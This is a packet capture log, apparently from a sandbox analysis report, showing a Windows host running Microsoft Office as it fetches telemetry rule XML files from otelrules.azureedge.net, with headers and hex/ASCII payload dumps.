2024-10-26 11:44:59 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:44:59 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 041e76a7-601e-005c-45ae-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114459Z-16849878b78q4pnrt955f8nkx80000000ah0000000007n8h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:44:59 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:00 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:00 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:00 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: e5fe76b8-601e-0050-2e06-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114500Z-r197bdfb6b4qbfppwgs4nqza8000000000eg0000000046n8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:00 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:00 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:00 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 7aa3dd97-101e-005a-6a20-26882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114500Z-17c5cb586f6sqz6fff89etrx0800000001rg00000000026z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:00 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:00 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:00 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 4755be7f-e01e-0052-062b-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114500Z-16849878b78xblwksrnkakc08w0000000180000000005gcs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:00 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:00 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:00 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 1f7bc680-101e-0065-6904-274088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114500Z-16849878b78smng4k6nq15r6s400000003e000000000arpa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:00 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:00 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:00 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e84b733d-701e-005c-1bb8-26bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114500Z-16849878b78zqkvcwgr6h55x9n00000001gg000000001veg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:00 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:01 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:01 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:01 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 962f3e82-b01e-0070-52cb-261cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114501Z-17c5cb586f69w69mgazyf263an000000016g000000000umy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:01 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:01 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:01 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 802631a9-901e-002a-57ad-247a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114501Z-15b8d89586frzkk2umu6w8qnt80000000hh00000000020cx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:01 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:01 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:01 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 53592b39-c01e-0082-1ef3-24af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114501Z-15b8d89586f5s5nz3ffrgxn5ac00000002qg000000001d29 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:01 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:01 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:01 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: c8022c20-501e-00a3-08ae-26c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114501Z-16849878b78x6gn56mgecg60qc00000003qg00000000dz0v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:01 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:01 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:01 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:01 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 226d2935-b01e-001e-729c-270214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114501Z-r197bdfb6b4gx6v9pg74w9f47s00000003t0000000005m3z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-26 11:45:01 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:02 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:02 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:02 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 6484a1a6-201e-0000-75a3-26a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114502Z-16849878b78z2wx67pvzz63kdg00000000g0000000006z6x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:02 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49736	13.107.246.45	443

